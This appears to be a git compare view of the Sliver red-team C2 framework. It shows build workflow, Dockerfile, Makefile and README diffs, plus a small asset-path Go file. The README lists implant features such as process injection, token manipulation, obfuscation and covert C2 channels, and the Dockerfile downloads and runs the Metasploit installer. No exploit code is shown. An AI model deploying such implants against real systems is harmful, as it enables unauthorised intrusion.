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Author SHA1 Message Date
moloch-- fb573bb122 Correctly convert request path 2021-12-23 08:54:39 -06:00
moloch-- f780f70318 Fix various build-time errors 2021-12-23 08:36:36 -06:00
moloch-- 12c6a57362 implemented configurable http drivers per platform 2021-12-23 08:03:48 -06:00
moloch-- afc8ccd61d initial winhttp support 2021-12-23 07:33:53 -06:00
moloch-- 5b3f1eeb7b wip: Initial winhttp support 2021-12-22 16:38:55 -06:00
5395 changed files with 1006251 additions and 2828006 deletions

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-1
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@@ -1 +0,0 @@
* @BishopFox/red-team
+1 -1
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@@ -5,4 +5,4 @@ queries:
uses: security-extended
paths:
- server
- client
- implant
-16
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@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+99 -103
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@@ -6,55 +6,51 @@ on:
branches: [master]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -62,40 +58,38 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make AMD64
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -104,52 +98,54 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
with:
path: ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
files: |
./release/*
+29 -11
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@@ -4,25 +4,26 @@ on:
push:
branches:
- test/*
pull_request:
branches:
- master
# pull_request:
# branches:
# - master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.19
uses: actions/setup-go@v3
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.19"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,15 +37,32 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -54,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+49 -48
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@@ -1,76 +1,77 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "^1.19"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
-2
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@@ -40,5 +40,3 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+20 -19
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@@ -1,4 +1,4 @@
FROM golang:1.19.2
FROM golang:1.17.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.19.2
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+43 -85
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@@ -3,51 +3,36 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -77,66 +62,49 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
ifeq ($(MAKECMDGOALS), linux-arm64)
# Redefine TAGS/ENV to use pure go sqlite3
TAGS = -tags osusergo,netgo,gosqlite
ENV = CGO_ENABLED=0
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
endif
#
# Targets
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: pb
pb:
@@ -146,17 +114,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
@@ -167,4 +124,5 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+21 -21
View File
@@ -1,27 +1,30 @@
# Sliver
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Build & Test](https://github.com/BishopFox/sliver/actions/workflows/go.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/go.yml) [![Code Scanning](https://github.com/BishopFox/sliver/actions/workflows/codeql-scanning.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/codeql-scanning.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
- Dynamic code generation
- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
- Much more!
* Dynamic code generation
* Compile-time obfuscation
* Multiplayer-mode
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* Much more!
### Getting Started
@@ -39,10 +42,7 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+9 -1
View File
@@ -1 +1,9 @@
fs/**
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
-65
View File
@@ -1,65 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
-87
View File
@@ -1,87 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
